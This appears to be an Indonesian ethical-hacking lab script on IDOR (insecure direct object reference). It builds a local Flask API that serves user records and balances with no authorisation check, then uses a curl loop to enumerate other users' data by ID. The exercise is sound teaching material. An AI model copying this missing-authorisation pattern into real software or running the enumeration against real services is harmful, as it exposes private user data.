EH-09: IDOR Basic - Akses Data User Lain

cd ~ && mkdir -p eth-l9 && cd eth-l9
cat > server.py << 'PYEOF'
from flask import Flask, jsonify
app = Flask(__name__)
users = {1: {"name":"Admin","role":"admin","saldo":1_000_000_000},
         2: {"name":"Budi","role":"user","saldo":5_000_000},
         3: {"name":"Siti","role":"user","saldo":25_000_000}}
@app.route('/api/user/<int:id>')
def user(id):
    if id in users: return jsonify(users[id])
    return jsonify({"error":"Not found"}), 404
app.run(port=9007)
PYEOF
python3 server.py &
sleep 1
echo "=== IDOR - Enumeration ==*"
for id in 1 2 3 4; do
  r=$(curl -s "http://localhost:9007/api/user/$id")
  echo "$r" | grep -q name && echo "  ✅ User $id: $(echo $r | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d["name"], d["saldo"])')"
done
kill %1 2>/dev/null